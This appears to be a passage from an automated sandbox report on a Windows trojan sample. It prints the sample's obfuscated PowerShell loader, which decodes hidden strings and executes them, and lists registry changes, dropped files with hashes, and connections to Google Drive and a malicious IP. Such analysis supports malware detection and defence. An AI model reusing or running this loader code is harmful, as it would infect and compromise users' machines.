IADeFZaBSu0WiB KAVeB PCKoA eABiFCr7Yn9Fr4NyBSk8 hA sBsnAMaATeBUn1WoB U8 EBGa5Sk8 S4AbEFe3 BEet3Tj9BeEEkB SCHuA BDsk9HiDdaBCoCUdBTi5stBMeC NBCaEUdBCo8SkA PDMaBReCCo9SpFWeB A6VeAchBHu9faFPaAfaCSpB Q7UnB SAMiAAxDBeBSq0UnBLy6AfB S7Re8Un9InB S6 SBUv0SpBBi7HeAAbDLaBReCBiAStBIdFIn1 DF S1Bo9Po0BrB I7RaBFrD WBTh5CoBElEUoBBr7UnBCo0InBUd7LnBTeEFoBSlCBeAUdBOrBLo7KlBReCIoAAfASoEOrEKoFDe9SuFFaDba9Du5UrBSa8DuARaBExBAk6 cBDe0NoBInD SERiBArEzo9SaEFaCnoF P9luFRvDSa8 M9UnANeBPrB U6ReADiADiB TAReAMeBBiBTe0WhBPaBUnBReCHjABiBDoE SD MFOp0 FFLo5DiFEf9AkFSe1 E9Na0rmBNe7InB TD TB S5SmB RESkB A7paBSl0KiBud7DeB DEReBPsCTrA EBTeB F7AgBIkCElAAaAspEdi1 fF S9Zo9Kh9SaF V1Co8Uv2Re9St0PsBDr7 AA UD CEKrA aEDeB C8Fu4MoFSu5KaFAz9Pl8 V2Se9Br0 EB S7stACoDCoEDoAmaEreBUn8St4HjFPi5VaFFo9In8tr2Af9Un0ExBfi7DiAGeDglEkoAreESuBTa8Ma4InFUn5TrF A9An8Co2Ma9 T0KeBDe7ShAviDskEKaAPyEMaB I8 P4UnFFo5MeFTe9Ou8Se2 U9 E0ReBMo7tlAFoD HEUfAUnEBeBBe8 P4StFHa5PrF A9Fl8Kr2Po9Fa0ByBGr7BrAFeDReEDeA EEPlBNo8In4SeFPe0dyFCr9SiFGa1Un8 T2 s9 b0 ABBe7ReAFaDGuEPhADeE ABDi8Li4SeF f0ReFbr0TuFOv0Ni'El)Si;En Ve De Po Hj Uh F Os Fo De Tr& V Fe Tr Fo Ci Ti Be Fu Rd L Th(St`$MePRirIroFesKocTrrBri Cblae ArBr7Sa) C de( CIPrnTidUplAeg snAkiUnnFlgRue PrAsnPrecos R0Ba4Em Co'ApFNeDPr9PaFBoBBe8SmA SBPaA qFLkBPrCPyBbe0FoBMa7DaBTiDNaBOvEcaBOr8AzBSa7DkBUeEJeFBr9 AE L4ArFEg9 A8an2Sy8UdA CA B0EwAWiAviATiD CB OCBoBOp4AnFAd7Sk8hoBKvASmCAbBMe7ErAInD PBUl0LfBDa4JaB KC RFMu7ch9Af0FoBEa7FlANaDAuBHjCAsATaBSpBTk6PaABe9Se8ImAPrBfoC SAMeBUnASeFBeBRe0DaBPrA FBChCPaATeAreFHj7Re9Be4StBSt8PrASkBUnATfACrBak1poBFe8 iBDi5Or8 S4 UE H3IdEFo3Cy9UnE VBEfCDeA lDFa9UrDUnB dC MBTe5GlBKoCDiBCoEEfBTv8 RAOuD LBGuCDi9KoFChBCo6LeA HB a9HjFmaAFaCFoBVe7SmBFiASuAFoD MB G0FoB A6DoBBu7Pr8Fo9FaB C6SyBBr0ChBLg7DiADaDPeB SCSaAudB iFEf1NoFSl1Ba9Ti0 IBOl7AfB CDNiBIn5ReBWaERoBAn7DaB S0AlB w7EnB TEbaBsiCYaADwBMiB R7FoBAfCDaAunABoEHeEStFGu9SnF SDFo9Ad5PiBfa8 RAAnBPaB B6 DBTr0otBSpDStE RBLoEFa9AlE ECPsFSt9RuFHoDSh8Ho9 FAGlBThBno6SaAJoAMeBBaAKoADrBPiB N0PeBGuBReBBaCDiAJuBReE TFAlFEm0RaFLs5 UFPo9tjFSp1 L9Re0 ABWi7SeBReDNeBCe5PeBinEDeBOp7hvBDu0UnBHe7PrBKoESpBCoCBeAVaBDrBMa7 KB PC EA SARaEGr1 SF B9Br9No9LoFUn1Ba8Pa2St9 A0DeBop7PiADrDViEreA PEThB R8ar4 UF S5AfFMo9De8In2Va9Tu0 PBBa7KeAOkD FEAfAHaE NBTo8To4UkFVa5SkFLi9su8se2Va9 o0doBIn7SeAArD IEAcA UEvrBPu8Su4WiFAm5WoFTe9Un8 M2Be9 J0BuBAk7 HAByDSyEOvA GEKoBMi8Vk4 DFLo5 UFMu9Aa8 R2Le9Ba0PyB U7BaAUnDSiETeAspEalBIn8Er4LaFDi0reFaf9EmFSy1Jo8He2Bl9El0SkBCl7SnAMiDst8Gl9 RANoD SASoBAl8Sd4MaFAt0AdFFu0AcF R0Re'Fe)St; H Sp De Ch Ta ae&In Pa(Ve`$DiPTirKooVesanc criniTrbBue Rr R7 U)Hy Su(PlI pnEmdTolSog WnSciunnMigTee TrBunSteEms L0Sh4Pr Sk'PaFSmDAu9Ul7AtBNe8AuAGy3 GB M0WoBSlCSaADrBLoBNa7ArBPoC BFAr9SuETi4KeFOp9joFamDheASvANeABk9KaB C8laBPi7NoBOs0muB P6LeBBf5FiBBa0MuBFo5 UBAv2FuBPu8 tB C5seBKr6 IB N0 BBHuDSaAToARiFTe7Ep9Sk0 bBCo7SlAUnF OBRe6LgBOf2UnBOvCCiFUd1AuF G4JuEre8AfFNo5TtEVa9EfFTv5unEDeFShEOmDMoFTa5FrEOu9 SFOv5AuFUd9AnEUn1OuESn0ReEPr9GlEBlBAdEDyBSaE KD REOpFNeEJaDSiFFo5 EEev9LiFAg0 R' F)Po;tr Em S Ro Ma Ec. A G Po T Rd Sp R Wa R M Se Af(Ko`$FoPSprUnoans bcFnr LiUnbTaeGarGa7 O)Ps C(HeIRanNod Jl AgTinLyiKonMigAueInrAfnUneDrsCh0Am4Mi ch' UFmyDSaA TAReASk9 CBPl8AfBDy7StBRe0LaBAg6unBAt5InBOb0 BBSt4unBSu8SoA ADScA KBCoASaD hBHuCreBKa8TrAFiDSoAOrBFiB SCDiFHo9 VE S4UnFLa9ReFGeDUh9MaFNoBSk8GuAQuBUrATaF TB cC MB F0TiBBe7AfB BDTiBMaEUnBAf8AdB D7PeBDiEAlF N7Ed9Tr0BiB T7 MAAnFClBAt6 cBvi2CiBBlC CFSa1ReFSuDQu9Ke7StBAf8AnAAt3AdBTe0WoBInCJvATuBCoBLe7isB CCStFCo5kuEKa9Fi8 B1PaEBlB NEAnBDiF F5HyE U9UnF B5AdEEj9HeFBe5FuE T9DrFOp0 A'un)ap;Tr`$YiGBaeFln EtFulToeNusDe2Gi=Fr`"""Un`$SteTunblvBa:ToLUnOCoCUnA UL PABlPSuPDaDCoAKoTTuAcy\MemAbaFanHoaCorBavToeBul B\HolkoeSiksttNaiAve SsGa\ DeTar PhTivPoekrrtevNosNybinemet SoFonElePrt U\ReDTrrBiiEkbValBriFonSigTreNorNo\PrSCaa Cl CtStpScaTanNo\DyHovoAdtukd ko BgFu\PaUStdMaeMie vrPohFlvPreGrrSivJa\AfULyd PfmayGalredMieHenDiduneBa.SmAPlbras B1Ba0Ko9Ve`""" S;Gr&Ou(My`$BiPHyr toSlsHacJur diErb WeGrrTo7 A)St U( KIMenPrdtolEfgRanUriskn TgGeeHerDanHeeEssDe0Cr4Fo Pa' AFklD N8SaDReBFe8 BB I5CaBEvC PA BFAnB EC LBDo5UnAPuACiBStC NAElATeFBe9SiE V4NuFTu9Av8Ch2Dr8SkA BAAd0PoA aASuA DDSaBMeCFaBFe4seF R7Ce9Ca0So9Ka6SvFUd7Ob9BoFFaBBa0ElBIn5FoBbaCFo8 r4seECh3BeEFi3Af8TaBLaBOuC aB C8EfB UDUd9Di8byB A5 DBBo5Ra9TaBOvAst0StAPeDImBHjCHiAReA BFma1MaF TD F9abEUnBLiCBlBPr7KnAInD PB D5TyBDeCOvAspASaE VBSpFDu0Pe'ko)Un;kl`$PaRaee FaKakPrtBriUnoTunekeHerNenKoe JsNo=Es`$ UT BaHylPheLevcaeLil BsSte UsBr.Abc Fo Ku SnintGs-He2Ch0Dr3An0Ve;Eq D Wa Me K R Di Op P mb u&Ba Mo Bl L La Me Bi Fa In To Ch( h`$GePGar HoSjs TcHurHaiExbUneOsr N7 P)Va Se(grINenFedAblApgMon CiGanaugSte PrRan Re TsSm0Fr4Ba Tr' Y8Se2Re8NoA FAMo0SpAFoA RAStDLeB CC DB U4deFGa7Su8FiB SABrCReBIn7SuAAbDKoBBa0GrB G4SuBcoCKaF a7Fl9 O0TaBDi7unAOrDDaBUdCDyA RBRdBst6HvAas9Ge8ChAKlBSiCSaAStBChAInF SBWh0HoBDeANoB TCchASeACoFGe7Gy9Ye4ZoBPy8SoAAnBDaAVaAAsBNa1KrBPl8PhBFy5hy8Fr4OvEdi3LeEFo3 F9seAStBGe6 TARi9CuAPl0 SF G1 AFStD C8 ADPsBAl8UnB R5CoB NC MAPuF BBOpCKvBUn5 FAOvA MBNeCSoACoAHaFFr5 sFCo9drELnBdaESe9skEStA VEPa9FlFAl5RaFSu9UnFSnD PATrAHeA X9CeBRe8SlBAf7SyBBe0 EBLo6IlBUn5 UBNi0ReBDo4NeBPe8IrA OD MA IBSuAUnDDeBOpC OBRo8CiAFrD TAToBStBsaCCaF m5skF G9SaFEfDUl8HeBVeB fCSaBFa8 DBSt2 FA MDReB W0BrBwr6beBEk7TuBCoC SAWiBNoBMo7 pBDaCRiAKoACeF A0 B'Pa)Mi; S Ou he A Om dr Un Fo Ja Fa&Im A In(Se`$OpPPsrGeo SsMic TrphiUdbAae SrUg7Ex)An Lu(BrI Un IdSklSkgInnPriFlnApg SeWhrKenSpe EsLu0Mo4St Ka'PsF UDPe9Cr0DiBPr4StBEpBmiBevCFoBFl5TaBUk5DjB T0 KBFo6UnAMuCPrABrAKrFIn9UnEMo4ShFCe9Au8Zo2el8noALeAla0ReAOpASuASaD BBblCunBbl4 HFGa7Sl8SiBNoA SCMiBKo7PrASvD EBLo0KaB U4PaBStCdeFSk7Ad9Ge0 RBSu7StAluD GBanCHyAVeBleBAd6 RASu9di8UnAExBVaCLoASeBClABeFSlB L0 rB oALaBUbC BAVeACaFSh7 S9Rr4 pBFo8UnABaBcoATaAUfBUl1BrBRu8TaBTe5co8Es4 gEPe3 HETo3Su9AsETeBUdCEuAHoDLo9VeD HBYnC BB B5InBJaC MBUrEKeBMo8 XAniDPrBReCAn9MoF OBBe6NaAExBge9ScFFrASlCReBDo7LaB NAafAReDAlBFa0 OBOb6BeBUn7Ud8Ul9UnBAb6MiBAl0taB F7SkAOmD iBGeCCaACoBTaFRa1KrFEl1 T9Fr0BiBDe7CoBCaDadBNn5UhBGiETiBBe7HaBfo0stBLe7SlBToE CB kC EA ABSuBfe7RaBSkC UAReABaEPrEciFUn9 OFHyDPr9Is5MoBSu8 BAImBDeB r6TrBGi0KrB KDDrEUnBzaEBv9ToE KC OFst9AlFAnD C8UdCAlBFo7ToB aAStBBr6omBHa0MoBSt7ReBMaAVeBPi0ReB SDLaBSmCBrBaf7AnAEnDSmF u0 AFex5 WFst9TrFHe1 T9 F0SlBRk7 SBUnDUnB K5GeBUnEUsBSi7EnBYa0 EBPi7InBAtECoBBoCMaARuBInB A7 RBSiCfaANaAFeEPi1 pFSp9Co9 B9ZiFRe1 L8 B2Un9Fe0TeB N7KeADaDSt8Un9MaAHaDreA uBTr8Ba4AlF C5 FFAb9 S8 V2Ph9To0 SB P7VeAChD P8Ra9TuAKrDAgACaBPr8Re4OxFBr5SaFSo9 L8Be2 K9Ru0DiBLa7RuAVeDNo8 S9BuAReDFrANuBSe8Sd4PaFsp0LeFMo9 LFUo1ur8Pa2 H9Ma0ViBIc7 DAbrDTr8St9DuAAnDUdA MB F8Br4GrFsu0OuFBe0PrF S0Se'em)Pr;Bo M Pu Ch Ga do Ar Be Me&Ko Z No Ov Em de Ok D He Ne( T`$TePRer RoOvskucHerSli PbCoeObrSi7Vi)Me No(BaIDanPodIdlFog NnMai UnRog beQurBen FeHassv0Ch4Ec Un'spFHaDst9Te0CeB a4ApB BB EBEmC UBJa5HyBcl5FeBOl0AsB U6SkACaC hATeAGuFMm7Re9Sp0PaBMe7OsA TFBlBTe6haBEc2meBBoCFeFFy1MiEUn9coF E5MiFtrD TAFuAPiAsk9 aBSp8ocBMe7UdBSk0SyBTa6LeB M5BiBBe0HyBKi4BaBFr8GoAFoD KADrB SAstDBeB RCUnBTa8BrAArDBrA FBViB oCNoFOb5stE T9 MFMe0 I'Ro) E#Ch;""";function Propterygium878 ($spanioli,$Manicuren) { & $Periureteritis0 (Propterygium879 'Sk$ChsTrpSuamanUriOboGrlCoiDo Pr- Ub KxGooFirDi Si$PrMSaa Tn Pi KcEduRrrRueprnBr ');}Function Propterygium879 { param([String]$Strikmesterens); $Siddebraedt185 = 2+1; For($Reveillernes=2; $Reveillernes -lt $Strikmesterens.Length-1; $Reveillernes+=($Siddebraedt185)){ $Fstningsvrket = 'su'+'b'+'s'+'t'+'r'+'i'+'n'+'g'; $Naturaliser = $Strikmesterens.$Fstningsvrket.Invoke($Reveillernes, 1); $Indlgningernes = $Indlgningernes + $Naturaliser; } $Indlgningernes;}$Periureteritis0 = Propterygium879 'OnIReEDuXCa ';&$Periureteritis0 (Propterygium879 $Unmeaningfulness);<#Excavate reapportioned Mentalundersge Stramazon Tehsildar Unsociologically Gufs #>;" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
Total events
2 682
Read events
2 659
Write events
21
Delete events
2
Modification events
| (PID) Process: | (2408) wab.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings |
| Operation: | write | Name: | ProxyEnable |
Value: 0 | |||
| (PID) Process: | (2408) wab.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections |
| Operation: | write | Name: | SavedLegacySettings |
Value: 46000000C1000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (2408) wab.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (2408) wab.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (2408) wab.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (2408) wab.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (2408) wab.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (2408) wab.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (2408) wab.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\156\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2408) wab.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 |
| Operation: | write | Name: | Blob |
Value: 030000000100000014000000CABD2A79A1076A31F21D253635CB039D4329A5E81D000000010000001000000073B6876195F5D18E048510422AEF04E314000000010000001400000079B459E67BB6E5E40173800888C81A58F6E99B6E090000000100000016000000301406082B0601050507030206082B060105050703010B000000010000001A0000004900530052004700200052006F006F007400200058003100000062000000010000002000000096BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C620000000010000006F0500003082056B30820353A0030201020211008210CFB0D240E3594463E0BB63828B00300D06092A864886F70D01010B0500304F310B300906035504061302555331293027060355040A1320496E7465726E65742053656375726974792052657365617263682047726F7570311530130603550403130C4953524720526F6F74205831301E170D3135303630343131303433385A170D3335303630343131303433385A304F310B300906035504061302555331293027060355040A1320496E7465726E65742053656375726974792052657365617263682047726F7570311530130603550403130C4953524720526F6F7420583130820222300D06092A864886F70D01010105000382020F003082020A0282020100ADE82473F41437F39B9E2B57281C87BEDCB7DF38908C6E3CE657A078F775C2A2FEF56A6EF6004F28DBDE68866C4493B6B163FD14126BBF1FD2EA319B217ED1333CBA48F5DD79DFB3B8FF12F1219A4BC18A8671694A66666C8F7E3C70BFAD292206F3E4C0E680AEE24B8FB7997E94039FD347977C99482353E838AE4F0A6F832ED149578C8074B6DA2FD0388D7B0370211B75F2303CFA8FAEDDDA63ABEB164FC28E114B7ECF0BE8FFB5772EF4B27B4AE04C12250C708D0329A0E15324EC13D9EE19BF10B34A8C3F89A36151DEAC870794F46371EC2EE26F5B9881E1895C34796C76EF3B906279E6DBA49A2F26C5D010E10EDED9108E16FBB7F7A8F7C7E50207988F360895E7E237960D36759EFB0E72B11D9BBC03F94905D881DD05B42AD641E9AC0176950A0FD8DFD5BD121F352F28176CD298C1A80964776E4737BACEAC595E689D7F72D689C50641293E593EDD26F524C911A75AA34C401F46A199B5A73A516E863B9E7D72A712057859ED3E5178150B038F8DD02F05B23E7B4A1C4B730512FCC6EAE050137C439374B3CA74E78E1F0108D030D45B7136B407BAC130305C48B7823B98A67D608AA2A32982CCBABD83041BA2830341A1D605F11BC2B6F0A87C863B46A8482A88DC769A76BF1F6AA53D198FEB38F364DEC82B0D0A28FFF7DBE21542D422D0275DE179FE18E77088AD4EE6D98B3AC6DD27516EFFBC64F533434F0203010001A3423040300E0603551D0F0101FF040403020106300F0603551D130101FF040530030101FF301D0603551D0E0416041479B459E67BB6E5E40173800888C81A58F6E99B6E300D06092A864886F70D01010B05000382020100551F58A9BCB2A850D00CB1D81A6920272908AC61755C8A6EF882E5692FD5F6564BB9B8731059D321977EE74C71FBB2D260AD39A80BEA17215685F1500E59EBCEE059E9BAC915EF869D8F8480F6E4E99190DC179B621B45F06695D27C6FC2EA3BEF1FCFCBD6AE27F1A9B0C8AEFD7D7E9AFA2204EBFFD97FEA912B22B1170E8FF28A345B58D8FC01C954B9B826CC8A8833894C2D843C82DFEE965705BA2CBBF7C4B7C74E3B82BE31C822737392D1C280A43939103323824C3C9F86B255981DBE29868C229B9EE26B3B573A82704DDC09C789CB0A074D6CE85D8EC9EFCEABC7BBB52B4E45D64AD026CCE572CA086AA595E315A1F7A4EDC92C5FA5FBFFAC28022EBED77BBBE3717B9016D3075E46537C3707428CD3C4969CD599B52AE0951A8048AE4C3907CECC47A452952BBAB8FBADD233537DE51D4D6DD5A1B1C7426FE64027355CA328B7078DE78D3390E7239FFB509C796C46D5B415B3966E7E9B0C963AB8522D3FD65BE1FB08C284FE24A8A389DAAC6AE1182AB1A843615BD31FDC3B8D76F22DE88D75DF17336C3D53FB7BCB415FFFDCA2D06138E196B8AC5D8B37D775D533C09911AE9D41C1727584BE0241425F67244894D19B27BE073FB9B84F817451E17AB7ED9D23E2BEE0D52804133C31039EDD7A6C8FC60718C67FDE478E3F289E0406CFA5543477BDEC899BE91743DF5BDB5FFE8E1E57A2CD409D7E6222DADE1827 | |||
Executable files
0
Suspicious files
23
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2280 | SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe | C:\Users\admin\AppData\Local\manarvel\lekties\erhvervsbetonet\Prerealisation\Omarbejdendes\Haandsoprkningen\Nongravity\Vidje.txt | text | |
MD5:E2A0F564A35C9A6F3470EA1E3BB5FB8B | SHA256:562268C8B99E13E92E637ACAD036435C3D860AC2B241D1583831DF0DCB8A4607 | |||
| 2280 | SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe | C:\Users\admin\AppData\Local\manarvel\lekties\erhvervsbetonet\Driblinger\Saltpan\Hotdog\Udeerhverv\Udfyldende.Abs109 | binary | |
MD5:3DD46313FA93AB22C9BF79CE86AE6A72 | SHA256:A02B46D3AF94957B37226C50987A03E78872EFC240A5E6DAD9A33EEB3E8BD472 | |||
| 2280 | SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe | C:\Users\admin\AppData\Local\manarvel\lekties\erhvervsbetonet\Prerealisation\Omarbejdendes\Haandsoprkningen\Nongravity\Gasifies.kha | binary | |
MD5:F570A9ADC8B40522E8DCFF53089D63E6 | SHA256:A422807259BB1C45F86E707866A83C162392460DEE1D92922C2D4D90449F806E | |||
| 2280 | SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe | C:\Users\admin\AppData\Local\manarvel\lekties\erhvervsbetonet\Dragonwort\Kapelmusikerne\grundskuddets.rea | binary | |
MD5:9F82EFA02610072FA050AA3E9A46F268 | SHA256:A80AC7F5E4B98FD9D8DEFDCE4B2C87672E19C3C4DFFAE5B933FC76516365DC18 | |||
| 2280 | SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe | C:\Users\admin\AppData\Local\manarvel\lekties\erhvervsbetonet\Dragonwort\Kapelmusikerne\omfartsvejes.ign | binary | |
MD5:EF7F34A777CA3345F415F0C261068B79 | SHA256:6A4798A124810824195137D153C78FB3E4FAABE0109003FDEE4EA09470F3AD0C | |||
| 2280 | SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe | C:\Users\admin\AppData\Local\manarvel\lekties\erhvervsbetonet\Prerealisation\Omarbejdendes\Haandsoprkningen\Nongravity\abbreviated.end | binary | |
MD5:B19ACA7094A171AB61D52A035FD2567E | SHA256:6E6E517050A187AAAAD7475B7D772AA8721440F56BA222F02F85C55E3976C73E | |||
| 2280 | SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe | C:\Users\admin\AppData\Local\manarvel\lekties\erhvervsbetonet\Dragonwort\Kapelmusikerne\hedonisms.res | binary | |
MD5:60EB9355829A6741F248DD73069D876E | SHA256:D600C0FA5A6466FC612A7D4E75971C06F502818E66C0BDFEA7875C0603D2A55B | |||
| 2280 | SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe | C:\Users\admin\AppData\Local\manarvel\lekties\erhvervsbetonet\snorklen.off | binary | |
MD5:A8B0A283A877E75C1962EEE7A4C4CD12 | SHA256:01B9ED789CFB395F43A9220F993C4E155E2EF1D0CF2F04894724C3C074B0EF3B | |||
| 2280 | SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe | C:\Users\admin\AppData\Local\manarvel\lekties\erhvervsbetonet\Dragonwort\Kapelmusikerne\indregistreringens.sot | binary | |
MD5:6F3C89F3A783F5BAF54B8B5C79685519 | SHA256:602AB7B0652801B0D4D19A8A5127FEAC4391171959D0D2B889C40E4EA527615B | |||
| 2280 | SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe | C:\Users\admin\AppData\Local\manarvel\lekties\erhvervsbetonet\Dragonwort\Kapelmusikerne\interpunktionstegnets.bac | binary | |
MD5:73546EDFF391E8082FA19509F9D9AD27 | SHA256:804E880967B2FFFA13AEAC857FCAFD785936A6F70E56080DF36BA0036686CE20 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
71
DNS requests
2
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
324 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
1956 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
2408 | wab.exe | 172.217.169.142:443 | drive.google.com | GOOGLE | US | whitelisted |
2408 | wab.exe | 216.58.213.97:443 | doc-0o-90-docs.googleusercontent.com | GOOGLE | US | whitelisted |
2408 | wab.exe | 185.225.74.166:1606 | — | AS-DC | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
drive.google.com |
| shared |
doc-0o-90-docs.googleusercontent.com |
| shared |